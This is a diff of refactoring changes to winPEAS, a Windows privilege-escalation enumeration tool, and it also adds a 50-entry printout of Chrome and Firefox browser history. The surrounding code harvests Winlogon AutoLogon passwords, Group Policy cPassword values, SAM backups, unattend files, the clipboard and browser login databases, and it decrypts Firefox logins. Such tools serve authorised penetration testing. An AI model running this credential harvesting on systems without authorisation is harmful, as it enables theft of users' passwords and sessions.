||||
}
|
||||
|
||||
public uint? NTLMMinClientSec { get; set; }
|
||||
public uint? NTLMMinServerSec { get; set; }
|
||||
public uint? NTLMMinServerSec { get; set; }
|
||||
public uint? InboundRestrictions { get; internal set; }
|
||||
|
||||
public string InboundRestrictionsString
|
||||
|
||||
@@ -8,7 +8,7 @@ namespace winPEAS.Info.SystemInfo.PowerShell
|
||||
internal class PowerShell
|
||||
{
|
||||
public static IEnumerable<PowerShellSessionSettingsInfo> GetPowerShellSessionSettingsInfos()
|
||||
{
|
||||
{
|
||||
var plugins = new[] { "Microsoft.PowerShell", "Microsoft.PowerShell.Workflow", "Microsoft.PowerShell32" };
|
||||
|
||||
foreach (var plugin in plugins)
|
||||
@@ -49,6 +49,6 @@ namespace winPEAS.Info.SystemInfo.PowerShell
|
||||
|
||||
yield return new PowerShellSessionSettingsInfo(plugin, access);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -11,6 +11,6 @@ namespace winPEAS.Info.SystemInfo.PowerShell
|
||||
{
|
||||
Plugin = plugin;
|
||||
Permissions = permissions;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -10,14 +10,14 @@ using winPEAS.Native.Enums;
|
||||
namespace winPEAS.Info.SystemInfo.Printers
|
||||
{
|
||||
internal class Printers
|
||||
{
|
||||
{
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SECURITY_INFOS
|
||||
{
|
||||
public string Owner;
|
||||
public RawSecurityDescriptor SecurityDescriptor;
|
||||
public string SDDL;
|
||||
}
|
||||
}
|
||||
|
||||
public static IEnumerable<PrinterInfo> GetPrinterWMIInfos()
|
||||
{
|
||||
|
||||
@@ -2,7 +2,6 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics.Eventing.Reader;
|
||||
using System.Text.RegularExpressions;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
|
||||
@@ -14,7 +13,7 @@ namespace winPEAS.Info.SystemInfo.SysMon
|
||||
|
||||
public static IEnumerable<SysmonInfo> GetSysMonInfos()
|
||||
{
|
||||
var paramsKey = @"SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters";
|
||||
var paramsKey = @"SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters";
|
||||
uint? regHashAlg = GetUintNullableFromString(RegistryHelper.GetRegValue("HKLM", paramsKey, "HashingAlgorithm"));
|
||||
uint? regOptions = GetUintNullableFromString(RegistryHelper.GetRegValue("HKLM", paramsKey, "Options"));
|
||||
byte[] regSysmonRules = GetBinaryValueFromRegistry(Registry.LocalMachine, paramsKey, "Rules");
|
||||
|
||||
@@ -13,6 +13,6 @@
|
||||
HashingAlgorithm = hashingAlgorithm;
|
||||
Options = options;
|
||||
Rules = rules;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -9,7 +9,6 @@ using System.Net.NetworkInformation;
|
||||
using System.Windows.Forms;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
using winPEAS.KnownFileCreds;
|
||||
|
||||
namespace winPEAS.Info.SystemInfo
|
||||
{
|
||||
@@ -160,7 +159,7 @@ namespace winPEAS.Info.SystemInfo
|
||||
{
|
||||
Dictionary<string, string> results = new Dictionary<string, string>();
|
||||
string whitelistpaths = "";
|
||||
|
||||
|
||||
try
|
||||
{
|
||||
var keys = RegistryHelper.GetRegValues("HKLM", @"SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths");
|
||||
@@ -188,7 +187,7 @@ namespace winPEAS.Info.SystemInfo
|
||||
{
|
||||
results["whitelistpaths"] = " " + whitelistpaths; //Add this info the last
|
||||
}
|
||||
|
||||
|
||||
return results;
|
||||
}
|
||||
|
||||
@@ -342,7 +341,7 @@ namespace winPEAS.Info.SystemInfo
|
||||
{
|
||||
var keys = RegistryHelper.GetRegSubkeys("HKLM", @"SOFTWARE\Microsoft\PowerShellCore\InstalledVersions\") ?? new string[] { };
|
||||
|
||||
return keys.Select(key =>
|
||||
return keys.Select(key =>
|
||||
RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Microsoft\PowerShellCore\InstalledVersions\" + key, "SemanticVersion"))
|
||||
.Where(version => version != null).ToList();
|
||||
}
|
||||
@@ -461,7 +460,7 @@ namespace winPEAS.Info.SystemInfo
|
||||
if ((settings != null) && (settings.Count != 0))
|
||||
{
|
||||
foreach (KeyValuePair<string, object> kvp in settings)
|
||||
{
|
||||
{
|
||||
result[kvp.Key] = (string)kvp.Value;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,7 +1,5 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using Microsoft.Win32;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
|
||||
namespace winPEAS.Info.SystemInfo.WindowsDefender
|
||||
@@ -17,14 +15,14 @@ namespace winPEAS.Info.SystemInfo.WindowsDefender
|
||||
public WindowsDefenderSettings(string defenderBaseKeyPath)
|
||||
{
|
||||
PathExclusions = new List<string>();
|
||||
var pathExclusionData = RegistryHelper.GetRegValues("HKLM", $"{ defenderBaseKeyPath}\\Exclusions\\Paths");
|
||||
var pathExclusionData = RegistryHelper.GetRegValues("HKLM", $"{defenderBaseKeyPath}\\Exclusions\\Paths");
|
||||
if (pathExclusionData != null)
|
||||
{
|
||||
foreach (var kvp in pathExclusionData)
|
||||
{
|
||||
PathExclusions.Add(kvp.Key);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
PolicyManagerPathExclusions = new List<string>();
|
||||
var excludedPaths = RegistryHelper.GetRegValue("HKLM", $"{defenderBaseKeyPath}\\Policy Manager", "ExcludedPaths");
|
||||
@@ -54,7 +52,7 @@ namespace winPEAS.Info.SystemInfo.WindowsDefender
|
||||
{
|
||||
ExtensionExclusions.Add(kvp.Key);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var asrKeyPath = $"{defenderBaseKeyPath}\\Windows Defender Exploit Guard\\ASR";
|
||||
var asrEnabled = RegistryHelper.GetRegValue("HKLM", asrKeyPath, "ExploitGuard_ASR_Rules");
|
||||
@@ -82,7 +80,7 @@ namespace winPEAS.Info.SystemInfo.WindowsDefender
|
||||
{
|
||||
AsrSettings.Exclusions.Add(value.Key);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,10 +1,4 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace winPEAS.Info.SystemInfo.WindowsDefender
|
||||
namespace winPEAS.Info.SystemInfo.WindowsDefender
|
||||
{
|
||||
class WindowsDefenderSettingsInfo
|
||||
{
|
||||
|
||||
@@ -184,5 +184,5 @@ namespace winPEAS.Info.UserInfo.LogonSessions
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -43,6 +43,6 @@ namespace winPEAS.Info.UserInfo.LogonSessions
|
||||
LogonServerDnsDomain = logonServerDnsDomain;
|
||||
UserPrincipalName = userPrincipalName;
|
||||
UserSID = userSid;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,7 +2,6 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Classes;
|
||||
|
||||
@@ -99,9 +98,9 @@ namespace winPEAS.Info.UserInfo.SAM
|
||||
yield return us.ToString();
|
||||
us.Buffer = IntPtr.Zero; // we don't own this one
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
private static void Check(NTSTATUS err)
|
||||
{
|
||||
|
||||
@@ -2,7 +2,6 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Net.NetworkInformation;
|
||||
using System.Security.Principal;
|
||||
using System.Text.RegularExpressions;
|
||||
using winPEAS.Helpers;
|
||||
|
||||
namespace winPEAS.Info.UserInfo
|
||||
|
||||
@@ -3,7 +3,6 @@ using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Text;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Structs;
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
using System;
|
||||
|
||||
namespace winPEAS.Info.UserInfo.Token
|
||||
{
|
||||
{
|
||||
[Flags]
|
||||
public enum LuidAttributes : uint
|
||||
{
|
||||
|
||||
@@ -10,7 +10,7 @@ using winPEAS.Native.Enums;
|
||||
namespace winPEAS.Info.UserInfo.Token
|
||||
{
|
||||
internal static class Token
|
||||
{
|
||||
{
|
||||
public static Dictionary<string, string> GetTokenGroupPrivs()
|
||||
{
|
||||
// Returns all privileges that the current process/user possesses
|
||||
@@ -36,7 +36,7 @@ namespace winPEAS.Info.UserInfo.Token
|
||||
Advapi32.LookupPrivilegeName(null, luidPointer, null, ref luidNameLen);
|
||||
strBuilder.EnsureCapacity(luidNameLen + 1);
|
||||
if (Advapi32.LookupPrivilegeName(null, luidPointer, strBuilder, ref luidNameLen))
|
||||
results[strBuilder.ToString()] = $"{(LuidAttributes) laa.Attributes}";
|
||||
results[strBuilder.ToString()] = $"{(LuidAttributes)laa.Attributes}";
|
||||
Marshal.FreeHGlobal(luidPointer);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,7 +7,6 @@ using System.Management;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.KnownFileCreds;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Structs;
|
||||
|
||||
@@ -18,7 +17,7 @@ namespace winPEAS.Info.UserInfo
|
||||
public static List<string> GetMachineUsers(bool onlyActive, bool onlyDisabled, bool onlyLockout, bool onlyAdmins, bool fullInfo)
|
||||
{
|
||||
List<string> retList = new List<string>();
|
||||
|
||||
|
||||
try
|
||||
{
|
||||
foreach (ManagementObject user in Checks.Checks.Win32Users)
|
||||
@@ -107,7 +106,7 @@ namespace winPEAS.Info.UserInfo
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
{
|
||||
//If error, then some error ocurred trying to find a user inside an unexistant domain, check if local user
|
||||
user = GetUserLocal(sUserName);
|
||||
}
|
||||
|
||||
@@ -6,7 +6,6 @@ using System.Windows.Forms;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
using winPEAS.Info.UserInfo.SAM;
|
||||
using winPEAS.KnownFileCreds;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
@@ -14,12 +13,12 @@ using winPEAS.Native.Enums;
|
||||
//I have also created the folder Costura32 and Costura64 with the respective Dlls of Colorful.Console
|
||||
|
||||
namespace winPEAS.Info.UserInfo
|
||||
{
|
||||
{
|
||||
class UserInfoHelper
|
||||
{
|
||||
// https://stackoverflow.com/questions/5247798/get-list-of-local-computer-usernames-in-windows
|
||||
|
||||
|
||||
|
||||
|
||||
public static string SID2GroupName(string SID)
|
||||
{
|
||||
//Frist, look in well-known SIDs
|
||||
@@ -84,13 +83,13 @@ namespace winPEAS.Info.UserInfo
|
||||
Beaprint.PrintException(ex.Message);
|
||||
}
|
||||
return groupName;
|
||||
}
|
||||
}
|
||||
|
||||
public static PrincipalContext GetPrincipalContext()
|
||||
{
|
||||
PrincipalContext oPrincipalContext = new PrincipalContext(ContextType.Machine);
|
||||
return oPrincipalContext;
|
||||
}
|
||||
}
|
||||
|
||||
//From Seatbelt
|
||||
public enum WTS_CONNECTSTATE_CLASS
|
||||
@@ -106,7 +105,7 @@ namespace winPEAS.Info.UserInfo
|
||||
Down,
|
||||
Init
|
||||
}
|
||||
|
||||
|
||||
public static void CloseServer(IntPtr ServerHandle)
|
||||
{
|
||||
Wtsapi32.WTSCloseServer(ServerHandle);
|
||||
@@ -145,7 +144,7 @@ namespace winPEAS.Info.UserInfo
|
||||
[MarshalAs(UnmanagedType.LPStr)]
|
||||
public String pFarmName;
|
||||
}
|
||||
|
||||
|
||||
public static IntPtr OpenServer(String Name)
|
||||
{
|
||||
IntPtr server = Wtsapi32.WTSOpenServer(Name);
|
||||
@@ -215,7 +214,7 @@ namespace winPEAS.Info.UserInfo
|
||||
}
|
||||
return results;
|
||||
}
|
||||
|
||||
|
||||
// https://stackoverflow.com/questions/31464835/how-to-programmatically-check-the-password-must-meet-complexity-requirements-g
|
||||
public static List<Dictionary<string, string>> GetPasswordPolicy()
|
||||
{
|
||||
@@ -247,18 +246,19 @@ namespace winPEAS.Info.UserInfo
|
||||
Beaprint.GrayPrint(string.Format(" [X] Exception: {0}", ex));
|
||||
}
|
||||
return results;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public static Dictionary<string, string> GetAutoLogon()
|
||||
{
|
||||
Dictionary<string, string> results = new Dictionary<string, string>();
|
||||
|
||||
results["DefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultDomainName");
|
||||
results["DefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultUserName");
|
||||
results["DefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultPassword");
|
||||
results["AltDefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultDomainName");
|
||||
results["AltDefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultUserName");
|
||||
results["AltDefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultPassword");
|
||||
Dictionary<string, string> results = new Dictionary<string, string>
|
||||
{
|
||||
["DefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultDomainName"),
|
||||
["DefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultUserName"),
|
||||
["DefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultPassword"),
|
||||
["AltDefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultDomainName"),
|
||||
["AltDefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultUserName"),
|
||||
["AltDefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultPassword")
|
||||
};
|
||||
return results;
|
||||
}
|
||||
|
||||
@@ -281,7 +281,7 @@ namespace winPEAS.Info.UserInfo
|
||||
c = $"{Clipboard.GetFileDropList()}";
|
||||
|
||||
//else if (Clipboard.ContainsImage()) //No system.Drwing import
|
||||
//c = string.Format("{0}", Clipboard.GetImage());
|
||||
//c = string.Format("{0}", Clipboard.GetImage());
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
|
||||
@@ -29,6 +29,6 @@
|
||||
AllowSmartCardRedirection = allowSmartCardRedirection;
|
||||
BlockPnPDeviceRedirection = blockPnPDeviceRedirection;
|
||||
BlockPrinterRedirection = blockPrinterRedirection;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -15,7 +15,7 @@ namespace winPEAS.InterestingFiles
|
||||
|
||||
try
|
||||
{
|
||||
string allUsers = System.Environment.GetEnvironmentVariable("ALLUSERSPROFILE");
|
||||
string allUsers = Environment.GetEnvironmentVariable("ALLUSERSPROFILE");
|
||||
|
||||
if (!allUsers.Contains("ProgramData"))
|
||||
{
|
||||
@@ -225,11 +225,13 @@ namespace winPEAS.InterestingFiles
|
||||
Changed = "[BLANK]";
|
||||
}
|
||||
|
||||
results[file] = new Dictionary<string, string>();
|
||||
results[file]["UserName"] = UserName;
|
||||
results[file]["NewName"] = NewName;
|
||||
results[file]["cPassword"] = cPassword;
|
||||
results[file]["Changed"] = Changed;
|
||||
results[file] = new Dictionary<string, string>
|
||||
{
|
||||
["UserName"] = UserName,
|
||||
["NewName"] = NewName,
|
||||
["cPassword"] = cPassword,
|
||||
["Changed"] = Changed
|
||||
};
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
|
||||
@@ -9,9 +9,9 @@ using winPEAS.Helpers.Search;
|
||||
namespace winPEAS.InterestingFiles
|
||||
{
|
||||
internal static class InterestingFiles
|
||||
{
|
||||
{
|
||||
public static List<string> GetSAMBackups()
|
||||
{
|
||||
{
|
||||
//From SharpUP
|
||||
var results = new List<string>();
|
||||
|
||||
@@ -28,7 +28,7 @@ namespace winPEAS.InterestingFiles
|
||||
$@"{systemRoot}\System32\config\RegBack\SYSTEM",
|
||||
};
|
||||
|
||||
results.AddRange(searchLocations.Where(searchLocation => System.IO.File.Exists(searchLocation)));
|
||||
results.AddRange(searchLocations.Where(searchLocation => File.Exists(searchLocation)));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
@@ -40,7 +40,7 @@ namespace winPEAS.InterestingFiles
|
||||
public static List<string> GetLinuxShells()
|
||||
{
|
||||
var results = new List<string>();
|
||||
|
||||
|
||||
try
|
||||
{
|
||||
string drive = Environment.GetEnvironmentVariable("SystemDrive");
|
||||
@@ -90,7 +90,7 @@ namespace winPEAS.InterestingFiles
|
||||
Beaprint.GrayPrint("Error: " + ex);
|
||||
}
|
||||
return results;
|
||||
}
|
||||
}
|
||||
|
||||
public static List<Dictionary<string, string>> GetRecycleBin()
|
||||
{
|
||||
@@ -102,7 +102,7 @@ namespace winPEAS.InterestingFiles
|
||||
// Reference: https://stackoverflow.com/questions/18071412/list-filenames-in-the-recyclebin-with-c-sharp-without-using-any-external-files
|
||||
int lastDays = 30;
|
||||
|
||||
var startTime = System.DateTime.Now.AddDays(-lastDays);
|
||||
var startTime = DateTime.Now.AddDays(-lastDays);
|
||||
|
||||
// Shell COM object GUID
|
||||
Type shell = Type.GetTypeFromCLSID(new Guid("13709620-C279-11CE-A49E-444553540000"));
|
||||
|
||||
@@ -40,7 +40,7 @@ namespace winPEAS.InterestingFiles
|
||||
|
||||
try
|
||||
{
|
||||
var winDir = System.Environment.GetEnvironmentVariable("windir");
|
||||
var winDir = Environment.GetEnvironmentVariable("windir");
|
||||
string[] searchLocations =
|
||||
{
|
||||
$"{winDir}\\sysprep\\sysprep.xml",
|
||||
@@ -56,7 +56,7 @@ namespace winPEAS.InterestingFiles
|
||||
$"{winDir}\\..\\unattend.inf",
|
||||
};
|
||||
|
||||
results.AddRange(searchLocations.Where(System.IO.File.Exists));
|
||||
results.AddRange(searchLocations.Where(File.Exists));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
|
||||
@@ -10,7 +10,7 @@ namespace winPEAS.KnownFileCreds.Browsers
|
||||
public abstract string Name { get; }
|
||||
public abstract IEnumerable<CredentialModel> GetSavedCredentials();
|
||||
public abstract void PrintInfo();
|
||||
|
||||
|
||||
|
||||
public virtual void PrintSavedCredentials()
|
||||
{
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Web.Script.Serialization;
|
||||
using winPEAS.Checks;
|
||||
@@ -27,7 +28,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
||||
{
|
||||
Beaprint.MainPrint("Looking for Chrome DBs");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||
Dictionary<string, string> chromeDBs = Chrome.GetChromeDbs();
|
||||
Dictionary<string, string> chromeDBs = GetChromeDbs();
|
||||
|
||||
if (chromeDBs.ContainsKey("userChromeCookiesPath"))
|
||||
{
|
||||
@@ -59,7 +60,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
||||
{
|
||||
Beaprint.MainPrint("Looking for GET credentials in Chrome history");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||
Dictionary<string, List<string>> chromeHistBook = Chrome.GetChromeHistBook();
|
||||
Dictionary<string, List<string>> chromeHistBook = GetChromeHistBook();
|
||||
List<string> history = chromeHistBook["history"];
|
||||
List<string> bookmarks = chromeHistBook["bookmarks"];
|
||||
|
||||
@@ -77,8 +78,11 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
||||
Beaprint.AnsiPrint(" " + url, colorsB);
|
||||
}
|
||||
}
|
||||
|
||||
Console.WriteLine();
|
||||
|
||||
int limit = 50;
|
||||
Beaprint.MainPrint($"Chrome history -- limit {limit}\n");
|
||||
Beaprint.ListPrint(history.Take(limit).ToList());
|
||||
}
|
||||
else
|
||||
{
|
||||
@@ -130,14 +134,14 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
||||
else
|
||||
{
|
||||
string userChromeCookiesPath =
|
||||
$"{System.Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies";
|
||||
$"{Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies";
|
||||
if (File.Exists(userChromeCookiesPath))
|
||||
{
|
||||
results["userChromeCookiesPath"] = userChromeCookiesPath;
|
||||
}
|
||||
|
||||
string userChromeLoginDataPath =
|
||||
$"{System.Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data";
|
||||
$"{Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data";
|
||||
if (File.Exists(userChromeLoginDataPath))
|
||||
{
|
||||
results["userChromeLoginDataPath"] = userChromeLoginDataPath;
|
||||
@@ -156,7 +160,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
||||
List<string> results = new List<string>();
|
||||
|
||||
// parses a Chrome history file via regex
|
||||
if (System.IO.File.Exists(path))
|
||||
if (File.Exists(path))
|
||||
{
|
||||
Regex historyRegex = new Regex(@"(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?");
|
||||
|
||||
@@ -217,10 +221,10 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
||||
}
|
||||
else
|
||||
{
|
||||
string userChromeHistoryPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
string userChromeHistoryPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
results["history"] = ParseChromeHistory(userChromeHistoryPath);
|
||||
|
||||
string userChromeBookmarkPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
string userChromeBookmarkPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks", Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
|
||||
results["bookmarks"] = ParseChromeBookmarks(userChromeBookmarkPath);
|
||||
}
|
||||
@@ -241,7 +245,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
||||
{
|
||||
try
|
||||
{
|
||||
string contents = System.IO.File.ReadAllText(path);
|
||||
string contents = File.ReadAllText(path);
|
||||
|
||||
// reference: http://www.tomasvera.com/programming/using-javascriptserializer-to-parse-json-objects/
|
||||
JavaScriptSerializer json = new JavaScriptSerializer();
|
||||
|
||||
@@ -9,9 +9,9 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
/// Firefox helper class
|
||||
/// </summary>
|
||||
static class FFDecryptor
|
||||
{
|
||||
{
|
||||
static IntPtr NSS3;
|
||||
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate long DLLFunctionDelegate(string configdir);
|
||||
|
||||
|
||||
@@ -1,10 +1,4 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
{
|
||||
class FFLogins
|
||||
{
|
||||
|
||||
@@ -4,11 +4,11 @@ using System.Data;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Web.Script.Serialization;
|
||||
using winPEAS._3rdParty.SQLite;
|
||||
using winPEAS.Checks;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.KnownFileCreds.Browsers.Models;
|
||||
using winPEAS._3rdParty.SQLite;
|
||||
using System.Web.Script.Serialization;
|
||||
|
||||
namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
{
|
||||
@@ -29,7 +29,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
{
|
||||
Beaprint.MainPrint("Looking for Firefox DBs");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||
List<string> firefoxDBs = Firefox.GetFirefoxDbs();
|
||||
List<string> firefoxDBs = GetFirefoxDbs();
|
||||
if (firefoxDBs.Count > 0)
|
||||
{
|
||||
foreach (string firefoxDB in firefoxDBs) //No Beaprints because line needs red
|
||||
@@ -56,21 +56,26 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
{
|
||||
Beaprint.MainPrint("Looking for GET credentials in Firefox history");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||
List<string> firefoxHist = Firefox.GetFirefoxHistory();
|
||||
if (firefoxHist.Count > 0)
|
||||
List<string> history = GetFirefoxHistory();
|
||||
if (history.Count > 0)
|
||||
{
|
||||
Dictionary<string, string> colorsB = new Dictionary<string, string>()
|
||||
{
|
||||
{ Globals.PrintCredStrings, Beaprint.ansi_color_bad },
|
||||
};
|
||||
|
||||
foreach (string url in firefoxHist)
|
||||
foreach (string url in history)
|
||||
{
|
||||
if (MyUtils.ContainsAnyRegex(url.ToUpper(), Browser.CredStringsRegex))
|
||||
{
|
||||
Beaprint.AnsiPrint(" " + url, colorsB);
|
||||
}
|
||||
}
|
||||
Console.WriteLine();
|
||||
|
||||
int limit = 50;
|
||||
Beaprint.MainPrint($"Firefox history -- limit {limit}\n");
|
||||
Beaprint.ListPrint(history.Take(limit).ToList());
|
||||
}
|
||||
else
|
||||
{
|
||||
@@ -101,7 +106,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
|
||||
{
|
||||
string userFirefoxBasePath = $"{dir}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\";
|
||||
if (System.IO.Directory.Exists(userFirefoxBasePath))
|
||||
if (Directory.Exists(userFirefoxBasePath))
|
||||
{
|
||||
var directories = Directory.EnumerateDirectories(userFirefoxBasePath);
|
||||
foreach (string directory in directories)
|
||||
@@ -249,25 +254,28 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
|
||||
foreach (string dir in dirs)
|
||||
{
|
||||
string[] files = Directory.EnumerateFiles(dir, "signons.sqlite").ToArray();
|
||||
if (files.Length > 0)
|
||||
if (Directory.Exists(dir))
|
||||
{
|
||||
signonsFile = files[0];
|
||||
signonsFound = true;
|
||||
}
|
||||
string[] files = Directory.EnumerateFiles(dir, "signons.sqlite").ToArray();
|
||||
if (files.Length > 0)
|
||||
{
|
||||
signonsFile = files[0];
|
||||
signonsFound = true;
|
||||
}
|
||||
|
||||
// find "logins.json"file
|
||||
files = Directory.EnumerateFiles(dir, "logins.json").ToArray();
|
||||
if (files.Length > 0)
|
||||
{
|
||||
loginsFile = files[0];
|
||||
loginsFound = true;
|
||||
}
|
||||
// find "logins.json"file
|
||||
files = Directory.EnumerateFiles(dir, "logins.json").ToArray();
|
||||
if (files.Length > 0)
|
||||
{
|
||||
loginsFile = files[0];
|
||||
loginsFound = true;
|
||||
}
|
||||
|
||||
if (loginsFound || signonsFound)
|
||||
{
|
||||
FFDecryptor.NSS_Init(dir);
|
||||
break;
|
||||
if (loginsFound || signonsFound)
|
||||
{
|
||||
FFDecryptor.NSS_Init(dir);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -313,8 +321,8 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
|
||||
foreach (Browsers.Firefox.LoginData loginData in ffLoginData.logins)
|
||||
{
|
||||
